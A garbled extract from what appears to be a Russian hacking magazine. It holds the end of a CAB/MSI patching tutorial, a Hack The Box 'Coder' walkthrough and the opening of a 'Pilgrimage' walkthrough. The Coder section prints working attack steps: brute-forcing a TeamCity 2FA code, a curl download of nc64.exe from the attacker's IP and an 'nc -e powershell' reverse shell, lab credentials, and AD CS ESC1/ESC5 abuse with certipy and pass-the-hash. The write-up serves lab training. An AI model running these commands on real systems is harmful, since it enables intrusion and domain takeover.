написан ное там на при мере готово го мно готом ного архи ва. Нач нем
с заголов ка фай ла.

спе цифи кацию

Рас пишем эту струк туру попод робнее:

 struct CFHEADER
{
 // 1 красный — сигнатура файла MSCF
   u1 signature[4]
   u4 reserved1
 // 2 желтый — размер файла в байтах
   u4 cbCabinet
   u4 reserved2
 // 3 зеленый — смещение до первой записи CFFILE
   u4 coffFiles
   u4 reserved3
 // 4 голубой — minor-байт версии файла
   u1 versionMinor
 // 5 фиолетовый — major-байт версии файла
   u1 versionMajor
 // 6 белый — количество записей CFFOLDER в файле
   u2 cFolders
 // 7 черный — количество записей CFFILE в файле
   u2 cFiles
 // 8 оранжевый — флаги формата: 3 = 1 (cfhdrPREV_CABINET у файла 
есть предыдущий том) | 2 (cfhdrNEXT_CABINET у файла есть следующий 
том)
   u2 flags
 // 9 желтый — ID кабинета, один и тот же у всех томов архива
   u2 setID
 // 10 красный — порядковый номер данного тома
   u2 iCabinet;
 // Эти поля не обязательны и в архиве не присутствуют, поскольку 
бит 2 поля flags не установлен
   u2 cbCFHeader;
   u1 cbCFFolder;
   u1 cbCFData;
   u1 abReserve[];
 // 11 зеленый — необязательное имя предыдущего тома, строка, 
заканчивающаяся 0, в нашем случае Data1.cab
   u1 szCabinetPrev[];
 // 12 белый — необязательное имя предыдущего диска, в нашем случае 
пустое
   u1 szDiskPrev[];
 // 13 фиолетовый — необязательное имя следующего тома, в нашем 
случае Data12.cab
   u1 szCabinetNext[];
 // 14 белый — необязательное имя следующего диска, в нашем случае 
пустое
   u1 szDiskNext[];
};

Что бы поменять файл в архи ве, надо для начала его най ти. В этом пла не нам
инте ресен мас сив записей . Каж дая из записей в этом мас сиве

содер жит дан ные о фай ле, хра нящем ся в архи ве. На начало мас сива ука- 
зыва ет поле . Пос мотрим, как оно выг лядит в реаль ном фай ле.

CFFILE

coffFiles

Рас пишем под робно и эту струк туру:

 struct CFFILE
{
 // 1 красный — размер распакованного файла в байтах
   u4 cbFile;
 // 2 желтый — смещение до начала файла в распакованном блоке folder
   u4 uoffFolderStart;
 // 3 зеленый — номер структуры CFFOLDER, содержащей данные файла в 
общей таблице folder’ов
 // В этом примере равно ifoldCONTINUED_FROM_PREV (0xFFFD)
   u2 iFolder;
 // 4 желтый — дата создания файла
   u2 date;
 // 5 фиолетовый — время создания файла
   u2 time;
 // 6 голубой — атрибуты файла
   u2 attribs;
 // 7 оранжевый — имя файла, заканчивающееся нулем
   u1 szName[];
};

Нас тало вре мя пояс нить нес коль ко момен тов. Ты, видимо, уже обра тил вни- 
мание, что не все содер жащи еся внут ри CAB-архи ва фай лы име ют свои ори- 
гиналь ные име на. Ска жем так, прак тичес ки все фай лы, содер жащи еся внут ри
архи ва CAB, исполь зуют некие про межу точ ные «тех ничес кие» име на, чтоб
нам жизнь медом не казалась. В этом мож но убе дить ся, открыв CAB-файл
в любом под держи вающем дан ный фор мат архи вато ре. По сути, «тех ничес- 
кие» име на — это сок ращен ный GUID, который инстал лятор прис ваивает каж- 
дому фай лу в пакете.

Со ответс твие ори гиналь ных и «тех ничес ких» имен мож но пос мотреть
в таб лице  инстал лятора, открыв MSI-пакет в каком-нибудь редак торе,

нап ример Orka. Обра ти вни мание на то, что один и тот же файл может при- 
сутс тво вать в пакете нес коль ко раз, нап ример если он уста нав лива ется
в раз ные катало ги. Поэто му вни матель но прос мотри эту таб лицу и най ди все
вхож дения нуж ного фай ла, а так же соот ветс тву ющие внут ренние име на
и CAB’ы для них перед тем, как прис тупить к редак тирова нию.

File

Итак, нам извес тны внут реннее имя целево го фай ла и CAB, который его
содер жит. Поп робу ем опи сать алго ритм поис ка соот ветс тву ющей ему струк- 
туры  на язы ке C#:CFFILE

// stream — источник данных файла CAB, в заголовке которого по 
смещению 0x10 содержится coffFiles

 stream.Seek(0x10, SeekOrigin.Begin);
    BinaryReader r = new BinaryReader(stream);

// Считываем его
   int coffFiles = r.ReadInt32();

// Общее количество файлов cFiles по смещению 0x1C
 stream.Seek(0x1C, SeekOrigin.Begin);

// Читаем и его
   int cFiles = r.ReadInt16();

// Переходим по смещению coffFiles к таблице CFFILE
 stream.Seek(coffFiles, SeekOrigin.Begin);

// Перебираем в цикле все файлы внутри этого cab
  for (int i=0;i<cFiles;i++)

{
 // Считываем размер файла
    int cbFile = r.ReadInt32();
 // Считываем смещение до начала файла в распакованном блоке folder
    int uoffFolderStart = r.ReadInt32();
 // Считываем номер структуры CFFOLDER, содержащей данные файла
    int iFolder = r.ReadInt16();
 // Считываем дату создания файла
     int int date = r.ReadInt16();
 // Считываем время создания файла
    int time = r.ReadInt16();
 // Считываем атрибуты файла
    int attribs = r.ReadInt16();
     var builder = new StringBuilder();
  while (true)
 {
   // Посимвольно считываем имя файла, пока не попался нулевой байт 
конца строки,
   // и собираем из считанных символов строку
      char c = r.ReadChar();
       if (Convert.ToByte(c)!=0) builder.Append(c); else break;
 }
  if (builder.ToString()==fileName)
 {
   // Мы нашли элемент CFFILE, соответствующий заданному fileName,
   // переходим к следующему этапу
 ...
 }
}

На сле дующем эта пе воз ника ет проб лема: вмес то ожи даемых дан ных фай ла
у нас есть номер какой-то непонят ной струк туры , который вне зап но

еще и может быть отри цатель ным. Путани цу вно сит сам тер мин folder, упо- 
мина емый в спе цифи кации фор мата. В дан ном кон тек сте это не каталог,
в котором хра нит ся файл, а неп рерыв ный блок дан ных с содер жимым нашего
фай ла, который упа ковы вает ся в архив. Он может вклю чать как один файл
(обыч но так и быва ет, тог да в заголов ке количес тво фол деров 

и количес тво фай лов  сов пада ют), так и нес коль ко фай лов, что силь но

не нра вит ся боль шинс тву архи вато ров.

CFFOLDER

cFolders
cFiles

Бо лее того, в слу чае мно готом ного архи ва один folder может резать ся
на час ти, перехо дя с одно го тома на сле дующий. В этом слу чае его начало,
будучи логичес ки пос ледним фол дером в спис ке, в бло ке  ста нет мар- 
кировать ся как , а конец — соот ветс- 

твен но, пер вый  сле дующе го тома — будет иметь номер

. Это мы и видели в при мере
выше — пер вый  не пер вого тома в цепоч ке.

CFFILE
ifoldCONTINUED_TO_NEXT (0xFFFE=-2)

CFFOLDER
ifoldCONTINUED_FROM_PREV (0xFFFD=-3)

CFFOLDER
Од нако есть и более упо ротый слу чай, ког да  начина ется и закан- 

чива ется в дру гих томах. Тог да он явля ется единс твен ным фол дером в томе
и мар киру ется как . По понят- 
ным при чинам такие фол деры невоз можно рас паковать и перепа ковать
при наличии толь ко одно го тома, и этим и объ ясня ется нелюбовь архи вато- 
ров к неп рерыв ным мно готом ным кабинет ным архи вам. В нашей статье мы
не будем замора чивать ся подоб ными экс тре маль ными слу чаями и пред- 
положим, что содер жащий нуж ный нам файл  все-таки целиком содер- 

жится внут ри дан ного тома CAB. Про ана лизи руем струк туру  с пер- 
вого скрин шота.

folder

ifoldCONTINUED_PREV_AND_NEXT (0xFFFF=1)

folder
CFFOLDER

 struct CFFOLDER
{
 // 15 красный — смещение до структуры CFDATA
   u4 coffCabStart;
 // 16 желтый — количество блоков CFDATA в фолдере
   u2 cCFData;
 // 17 зеленый — тип компрессии
   u2 typeCompress;
 // Это поле в нашем примере отсутствует,
 // поскольку соответствующий бит сброшен в поле flags заголовка 
файла
   u1 abReserve[];
};

По хоже, и эта струк тура отсы лает нас к мас сиву сле дующих струк тур, на этот
раз называ ющих ся . А все потому, что при дос таточ но жес тких огра- 
ниче ниях на раз мер упа ковы ваемо го бло ка (16 бит, но на самом деле обыч но
не боль ше ) дан ные при ходит ся резать на мно жес тво мел ких бло ков,

каж дый из которых в заголов ке содер жит сле дующую струк туру. Рас смот рим,
как она выг лядит.

CFDATA

0x8000

 struct CFDATA
{
 // 1 оранжевый — контрольная сумма данного блока CFDATA
   u4 csum;
 // 2 зеленый — длина упакованного блока в байтах
   u2 cbData;
 // 3 желтый — длина распакованного блока в байтах
   u2 cbUncomp;
 // Это необязательное поле в нашем примере отсутствует,
 // поскольку соответствующий бит сброшен в поле flags заголовка 
файла
   u1 abReserve[];
 // Упакованные данные блока
   u1 ab[cbData];
};

Кон троль ная сум ма бло ка по спе цифи кации пред став ляет собой тупой XOR
всех дан ных бло ка, начиная со сле дующе го от  бай та и до кон ца бло ка

, раз битого на 32-бит ные сло ва. При веду его код на С, взя тый из спе цифи- 

кации:

csum
ab

      CHECKSUM CSUMCompute(void *pv, UINT cb, CHECKSUM seed)
{
 // Количество 32-битных слов в блоке
      int cUlong;
 // Аккумулятор контрольной суммы
   CHECKSUM csum;
      BYTE *pb;
      ULONG ul;

 // Количество целых 32-битных слов в блоке
     cUlong = cb / 4;
 // seed обычно равен 0
   csum = seed;
 // Начало блока данных
   pb = pv;

     while (cUlong-- > 0) {

   // Начинаем с младшего байта
     ul = *pb++;
   // 2 байта
        ul |= (((ULONG)(*pb++)) << 8);
   // 3 байта
       ul |= (((ULONG)(*pb++)) << 16);
   // 4 байта
       ul |= (((ULONG)(*pb++)) << 24);

   // Выполняем XOR аккумулятора с полученным словом
     csum ^= ul;
 }

 // Добавляем данные неполного слова в конце блока
   ul = 0;
     switch (cb % 4) {
    case 3:
     // 3 байта

         ul |= (((ULONG)(*pb++)) << 16);
    case 2:
     // 2 байта

          ul |= (((ULONG)(*pb++)) << 8);
    case 1:
     // и самый младший байт

       ul |= *pb++;
   default:
     break;
 }
 // Выполняем XOR аккумулятора с полученным неполным словом
   csum ^= ul;

  return csum;
}

Впро чем, мож но даже не замора чивать ся с вычис лени ем кон троль ной сум мы
каж дого бло ка. Дело в том, что если поле  в бло ке рав но 0, то инстал- 
лятор прос то игно риру ет его про вер ку. В общем, если нам надо получить все
дан ные фол дера , переб рав сос тавля ющие его бло ки , алго- 

ритм на язы ке C# будет выг лядеть сле дующим обра зом:

csum

myFolder CFDATA

// Перейдем по смещению myFolder*0x8 относительно конца заголовка 
файла

 stream.Seek(myFolder*0x8+endHeader, SeekOrigin.Begin);
// coffCabStart — смещение до первого блока CFDATA, относящегося к 
myFolder

   long coffCabStart = r.ReadInt32();
// cCFData — количество блоков CFDATA, относящегося к myFolder

   int cCFData = r.ReadInt16();
// typeCompress — тип компрессии: 0 — без компрессии; 1 — MSZIP; 2 — 
Quantum; 3 — LZX

   int typeCompress = r.ReadInt16();
 stream.Seek(coffCabStart, SeekOrigin.Begin);

// Цикл по всем блокам фолдера
   for (int i=0;i< cCFData;i++)

{
  // Считать контрольную сумму блока
     int csum = r.ReadInt32();
  // Считать размер упакованных данных
    UInt16 cbData= r.ReadUInt16();
  // Считать размер распакованных данных
    UInt16 cbUncomp= r.ReadUInt16();
  // Считать упакованные данные в buf
  byte[]buf=r.ReadBytes(cbData+2);
}

Даль нейшая стра тегия замены выг лядит сле дующим обра зом. Получив все
фай лы, содер жащи еся в одном фол дере с иско мым, мы в сво ей прог рамме
скле иваем их в том же поряд ке, в котором они сле дуют в бло ках .

Затем получен ный блок режем на фраг менты раз мером  байт, которые

записы ваем в CAB-файл в виде цепоч ки , соот ветс тву ющей иско мому
фол деру. С ком прес сией мож но не замора чивать ся, уста новив зна чение поля
фол дера в 0.

CFFILE
0x8000

CFDATA

В этом слу чае поля  и  каж дого бло ка  будут иметь
оди нако вые зна чения, а кон троль целос тнос ти бло ка подав ляет ся уста нов кой
поля  в 0. Если при замене фай ла его раз мер не меня ется, то все зна- 

чения полей  струк тур  сох раня ются. Оста ется толь- 
ко испра вить сме щение на новую цепоч ку  в , ука зать

новое количес тво бло ков в  и новый раз мер фай ла 

в заголов ке.

cbData cbUncomp CFDATA

csum
uoffFolderStart CFFILE

CFDATA coffCabStart
cCFData cbCabinet

Са му новую цепоч ку  про ще дописать в конец фай ла, что бы
не возить ся с перес четом сме щений  в осталь ных фол дерах,

и это будет самый ско рос тной спо соб прав ки CAB, даже если он занима ет
нес коль ко гигабайт.

CFDATA
coffCabStart

Ну вот, мы про пат чили CAB-файл без пол ной перепа ков ки архи ва, но как
нам засунуть его обратно в MSI? По счастью, на этот раз не при дет ся пля сать
с буб ном вок руг WinHex. В пакете 

 есть полез ная ути лита коман дной стро ки . При уста- 

нов ке Windows SDK эта ути лита обыч но находит ся вот в таком под катало ге:

Windows SDK для раз работ чиков уста нов- 
щика Windows Msidb.exe

C:\Program Files (x86)\Windows Kits\10\bin\<версия SDK>\x86\ 

Под робнее про нее мож но почитать , нас же инте ресу ют
толь ко две ее фун кции. В тер минах Microsoft CAB-файл явля ется потоком
дан ных, содер жащим ся в базе дан ных MSI. Для замены потока 

из нашего при мера мы дол жны для начала уда лить этот поток из базы сле- 
дующей коман дой:

на сай те Microsoft

Data11.cab

MsiDb.exe -d MyMSI.msi -k Data11.cab 

За тем добав ляем его туда из фай ла:

MsiDb.exe -d MyMSI.msi -a Data11.cab 

Ес ли пер вая коман да выпол няет ся поч ти мгно вен но, то вто рая отра баты вает
дос таточ но дли тель ное вре мя, ничем не сиг нализи руя о сво ем завер шении,
кро ме раз ве что бло киров ки целево го MSI-фай ла. Одна ко при ее успешном
выпол нении (а ошиб ку, если она воз никнет в про цес се выпол нения, прог- 
рамма все-таки покажет) мы получа ем впол не рабочий про пат ченный MSI-
файл, готовый к уста нов ке.

Итак, мы научи лись пра вить дан ные инстал ляци онных пакетов MSI хоть
в авто мати чес ком, хоть в руч ном режиме. Наде юсь, этот навык поможет тебе
в нес тандар тных ситу ациях.

https://xakep.ru/2020/09/07/msi-hack/
https://www.advancedinstaller.com/
https://www.masterpackager.com/
https://learn.microsoft.com/ru-ru/windows/win32/msi/orca-exe
https://www.installaware.com/landing/msi-editor.htm
https://xakep.ru/2020/09/07/msi-hack/
https://msi2xml.sourceforge.io/
https://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/%5Bms-cab%5D.pdf
https://learn.microsoft.com/ru-ru/windows/win32/msi/platform-sdk-components-for-windows-installer-developers
https://learn.microsoft.com/ru-ru/windows/win32/msi/msidb-exe
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ВЗЛОМ

В этом рай тапе я покажу про цесс ревер- 
синга вируса-шиф роваль щика, написан- 
ного на C#. Потом мы обой дем двух фактор- 
ную аутен тифика цию в TeamCity и получим
RCE. Затем при меним тех нику
ESC5 для повыше ния при виле гий через
мис конфиг служ бы сер тифика ции Active
Directory.

На ша конеч ная цель — зах ват рута на машине Coder с пло щад ки 
. Уро вень ее слож ности — «безум ный».

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.207    coder.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел мно жес тво откры тых пор тов. Нес ложно заметить, что мы име- 
ем дело с Windows.

53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
443 (HTTPS) — веб-сер вер Microsoft IIS/10.0;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

LDAP рас кры вает имя домена и хос та, которые сра зу добав ляем в файл 

.

/
etc/hosts

10.10.11.207 coder.htb dc01.coder.htb 

Те перь про веря ем дос туп к служ бе SMB от име ни гос тевого поль зовате ля
и получа ем спи сок общих ресур сов. Для это го исполь зуем ути литу

.CrackMapExec

    cme smb 10.10.11.207 -u 'guest' -p '' --shares

Об щие ресур сы

Есть нес коль ко инте рес ных катало гов, но пер вым делом заг лянем
в .Development

ÒÎ×ÊÀ ÂÕÎÄÀ

Под клю чаем ся к ресур су SMB с помощью скрип та smbclient из набора
.impacket

impacket-smbclient 'guest@10.10.11.207'
use Development 

Со дер жимое общих ресур сов

В ито ге нам дос тупно очень мно го фай лов, поэто му луч ше ско пиро вать все
на локаль ный хост и затем про ана лизи ровать.

smbclient //10.10.11.207/Development -N
recurse on 
prompt off 
mget *

Ре кур сивная заг рузка фай лов

На ибо лее инте рес ны исполня емый файл-шиф роваль щик и, видимо, зашиф- 
рован ный файл.

Со дер жимое катало га Temporary Projects

Прог рамма написа на на C#, а зна чит, исполня емый файл мож но деком- 
пилиро вать с помощью .dnSpy

Ис ходный код клас са Main

Та ким обра зом, фай лы шиф руют ся при помощи клю ча и век тора ини циали- 
зации (стро ки 21–26). В качес тве сида для фун кции  исполь зует ся

текущее вре мя, а это зна чит, что ключ и век тор ини циали зации нес лучай ны.
Мы можем нем ного перепи сать прог рамму для рас шифров ки фай ла, а вре мя,
ког да файл был зашиф рован, опре делим по дате его соз дания.

Random

Со дер жимое SMB-ресур са

Для перево да вре мени в фор мат UNIX вос поль зуем ся сай том 
. Ука зыва ем дату (с уче том вре мен ной зоны) и получа ем чис ло

для ини циали зации фун кции .

Epoch
Converter

Random

По луче ние сида Random

Те перь можем перепи сать код, который поможет рас шифро вать файл.

 using System;
 using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Security.Cryptography;
 using System.Text;
 using System.Threading.Tasks;

 namespace Decryptor
{

 class Program
{
     static void Main(string[] args)
  {
       FileInfo fileInfo = new FileInfo(args[0]);
       string destFile = Path.ChangeExtension(fileInfo.Name, ".dec");
       long value = 1668205028; // DateTimeOffset.Now.
ToUnixTimeSeconds();
       Random random = new Random(Convert.ToInt32(value));
       byte[] array = new byte[16];
   random.NextBytes(array);
       byte[] array2 = new byte[32];
   random.NextBytes(array2);
        

 
byte[] array3 = Program.EncryptFile(fileInfo.Name, destFile,

array2, array);
  }

        
    

private static byte[] EncryptFile(string sourceFile, string
destFile, byte[] Key, byte[] IV)
  {
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
   {
          using (FileStream destFileStream = new FileStream(destFile,
FileMode.Create))
    {

    
 

      using (ICryptoTransform cryptoTransform = rijndaelManaged.
CreateDecryptor(Key, IV))
      {

     
 

       using (FileStream sourceFileStream = new FileStream(
sourceFile, FileMode.Open))
       {

     
  

        using (CryptoStream cryptoStream = new CryptoStream(
sourceFileStream, cryptoTransform, CryptoStreamMode.Read))
        {

              byte[] array = new byte[1024];
           int count;
      

 
          while ((count = cryptoStream.Read(array, 0, array.Length))
!= 0)
          {

             destFileStream.Write(array, 0, count);
          }
        }
       }
      }
    }
   }
    return null;
  }
}
}

Про вер ка рас шифро ван ного фай ла

Это ока зал ся архив 7-Zip, который содер жит базу паролей KeePass и, пред- 
положи тель но, файл-ключ.

Со дер жимое архи ва 7-Zip

А теперь рас шифру ем и откро ем базу паролей KeePass.

Рас шифров ка базы KeePass

Сох ранен ный зап рос бэкапа

Учет ные дан ные поль зовате ля s.blade

Учет ные дан ные поль зовате ля s.blade для сер виса TeamCity

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/fortra/impacket
https://github.com/dnSpy/dnSpy
https://www.epochconverter.com/


РЕВЕРСИМ ШИФРОВАЛЬЩИК
И ПРИМЕНЯЕМ ТЕХНИКУ ESC5

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом про веря ем най ден ные учет ные дан ные. Так, дан ные
для О365 ока зались домен ными учет ными дан ными.

    cme smb 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D'
--shares

Про вер ка учет ных дан ных на SMB-ресур се

Нам уда ется авто ризо вать ся на SMB. Теперь поп робу ем получить дос туп
к хос ту, для чего про верим под клю чение к служ бе WinRM.

   cme winrm 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D'

Про вер ка учет ных дан ных на служ бе WinRM

Сес сию получить не вый дет, поэто му перехо дим еще к одно му най ден ному
ресур су — сай ту . Не забыва ем обно вить

запись в фай ле .

https://teamcity-dev.coder.htb
/etc/hosts

10.10.11.207 coder.htb dc01.coder.htb teamcity-dev.coder.htb 

Фор ма авто риза ции TeamCity

TeamCity — это билд-сер вер для обес печения неп рерыв ной интегра ции
при раз работ ке. Вво дим учет ные дан ные для плат формы и натыка емся
на двух фактор ную аутен тифика цию.

Двух фактор ная аутен тифика ция TeamCity

У нас зап рашива ют шес тизнач ный пароль, поп робу ем его проб рутить (воз- 
можно, зай мет какое-то вре мя). Для перебо ра исполь зуем .Burp Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Burp Intruder — резуль тат перебо ра

В ито ге мож но отфиль тро вать резуль таты по дли не или коду отве та и получить
один отли чающий ся. Вво дим этот код и получа ем дос туп к TeamCity.

Глав ная стра ница TeamCity

TeamCity RCE
Пе рехо дим к единс твен ному про екту и выпол няем сбор ку. Боль ше все го нас
инте ресу ют логи сбор ки.

Ло ги сбор ки про екта

В логах видим путь к запус каемо му скрип ту на PowerShell. Этот файл мы
можем най ти сре ди общих катало гов SMB.

Со дер жимое про екта teamcity_test_repo

Хоть писать в файл на сер вере мы не можем, но бла года ря локаль ному дос- 
тупу к git-репози торию все же име ем воз можность выпол нить свой код через
при мене ние diff-фай ла. В локаль ный файл  запишем
реверс-шелл на PowerShell, сге нери рован ный на сай те .

hello_world.ps1
revshells.com

Ис ходный файл на PowerShell

Из менен ный файл hello_world.ps1

Те перь выпол няем .git commit

 git commit hello_world.ps1 -m 'changed'

При мене ние изме нений git

По лучим иден тифика торы ком митов, для это го смот рим .git log

git log 

Ком миты git

А теперь соз дадим diff-файл, который будет содер жать раз личия меж ду ком- 
митами.

git diff 4aefc d9899 

Фор мирова ние diff-фай ла

Вер немся к TeamCity и запус тим кас томную сбор ку, ука зав сфор мирован ный
diff-файл. Пред варитель но запус каем лис тенер:

rlwrap nc -lnvp 4321 

Кас томная сбор ка про екта

К сожале нию, реверс-шелл мы не получа ем, а в логах сбор ки чита ем, что
обна руже но вре донос ное содер жимое скрип та.

Ло ги сбор ки

Я решил не пат чить AMSI для работы с PowerShell, а пошел иным путем: прос- 
то ска чива ем на хост Windows-вер сию  и запус каем самый прос той
реверс-шелл. Для это го нуж но сфор мировать новый diff-файл.

netcat

 .curl http://10.10.14.83:80/nc64.exe -O \nc64.exe 
.\nc64.exe 10.10.14.83 4321 -e powershell 

Пов торя ем все пред варя ющие сбор ку дей ствия и получа ем бэк коннект.

Сес сия поль зовате ля coder

ÏÐÎÄÂÈÆÅÍÈÅ

По лучив дос туп к фай ловой сис теме хос та, пер вым делом про веря ем осталь- 
ные про екты, так как там могут быть цен ные дан ные. При этом важ но заг- 
лянуть в каталог .C:\programdata

Со дер жимое катало га C:\programdata\JetBrains

На ходим уже зна комый нам про ект, но он содер жит мно го diff-фай лов.

Со дер жимое катало га
C:\programdata\JetBrains\TeamCity\system\changes

Боль шинс тво из них ока зались моими попыт ками получить реверс-шелл,
но самый пер вый файл был соз дан дав но. Про верим его содер жимое.

Со дер жимое фай ла 101.changes.diff

Так находим фай лы ,  и . В скрип те
пароль поль зовате ля  в фай ле  рас шифро выва ется

с помощью клю ча . Сох раним фай лы на локаль ный хост и рас шифру- 

ем пароль.

key.txt enc.txt Get-ADCS_Report.ps1
e.black enc.txt

key.txt

$key = Get-Content ./key.txt
$enc = Get-Content ./enc.txt | ConvertTo-SecureString -Key $key
(New-Object PSCredential 0, $enc).GetNetworkCredential().Password

Рас шифро ван ный пароль

По луча ем пароль поль зовате ля  и про веря ем его на ресур се SMB.e.black

   cme smb 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'

Ре зуль тат тес тирова ния SMB

За тем про верим учет ные дан ные для служ бы WinRM.

   cme winrm 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'

Ре зуль тат тес тирова ния WinRM

Мы можем авто ризо вать ся на хос те с помощью  и получить сес- 

сию поль зовате ля, а заод но и пер вый флаг.

evil-winrm

   evil-winrm -i 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь получим информа цию о поль зовате ле. Нас инте ресу ют активные при- 
виле гии и груп пы, в которых он сос тоит.

whoami /all

Ин форма ция о поль зовате ле

И поль зователь сос тоит в груп пах Certicate Service DCOM Access и PKI
Admins, а это дает нам пра во на регис тра цию шаб лонов сер тифика тов в служ- 
бе сер тифика ции Active Directory (AD CS) и на выпуск сер тифика тов. Эти усло- 
вия поз воля ют нам повысить при виле гии в домене. При меня емая нами тех- 
ника называ ется ESC5.

Да вай зарегис три руем заранее уяз вимый шаб лон сер тифика та,
для которо го при мени ма тех ника повыше ния при виле гий ESC1. Взять его
мож но . А регис три ровать  будем с помощью

 для груп пы PKI Admins.
на GitHub шаб лон

ADCSTemplate

Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json
-Raw) -Publish -Identity "CODER\PKI Admins"

Ре гис тра ция нового шаб лона

Те перь исполь зуем , что бы получить дан ные о цен тре сер тифика ции
и сущес тву ющих шаб лонах.

Certipy

   certipy-ad find -username 'e.black@coder.htb' -password
'ypOSJXPqlDOxxbQSfEERy300'

По луче ние информа ции о цен тре сер тифика ции

За регис три рован ный шаб лон

Ви дим соз данный нами шаб лон сер тифика та и можем зап росить выпуск сер- 
тифика та для поль зовате ля Administrator.

   
 

  

certipy-ad req -username 'e.black@coder.htb' -password
'ypOSJXPqlDOxxbQSfEERy300' -ca coder-DC01-CA -target 10.10.11.207 
-template RalfESC1 -upn 'Administrator@coder.htb' -dns dc01.coder.htb 

Зап рос сер тифика та поль зовате ля

Те перь у нас есть сер тификат, раз реша ющий аутен тифика цию поль зовате ля.
По это му сер тифика ту можем получить NTLM-хеш пароля поль зовате ля
и выпол нить ата ку path the hash. Но есть малень кий нюанс — нуж но син хро- 
низи ровать вре мя с уда лен ным сер вером, исполь зуя коман ду .ntpdate

sudo timedatectl set-ntp 0 
sudo ntpdate -s 10.10.11.207 

certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207 

По луче ние NTLM-хеша пароля поль зовате ля

Те перь воз вра щаем вре мя сво ей машины обратно и под клю чаем ся к сер веру
по WMI с получен ным хешем.

sudo timedatectl set-ntp 1 
sudo ntpdate -s ntp.org 

impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :
807726fcf9f188adc26eeafd7dc16bb7 

Флаг рута

Ма шина зах вачена!

https://www.revshells.com/
https://github.com/Hackplayers/evil-winrm
https://github.com/Orange-Cyberdefense/GOAD/tree/main/ansible/roles/adcs_templates/files
https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/ansible/roles/adcs_templates/files/ESC1.json
https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/ansible/roles/adcs_templates/files/ADCSTemplate/ADCSTemplate.psm1
https://github.com/ly4k/Certipy
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ВЗЛОМ

В этом рай тапе я покажу, как вос поль- 
зовать ся ути литой для работы с бинар ными
фай лами Binwalk, что бы получить кон троль
над Linux. Но сна чала попен тестим
веб-сер вер и про ник нем на него бла года ря
неак курат ному исполь зованию раз работ- 
чиком ути литы ImageMagick.

Раз бирать в этот раз будем тре ниро воч ную машину Pilgrimage с пло щад ки
. Уро вень ее слож ности — «лег кий».Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.219    pilgrimage.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.4p1;•
80 — веб-сер вер Nginx 1.18.0.•

Так же Nmap показал дос тупный каталог  в кор не сай та..git

Глав ная стра ница сай та

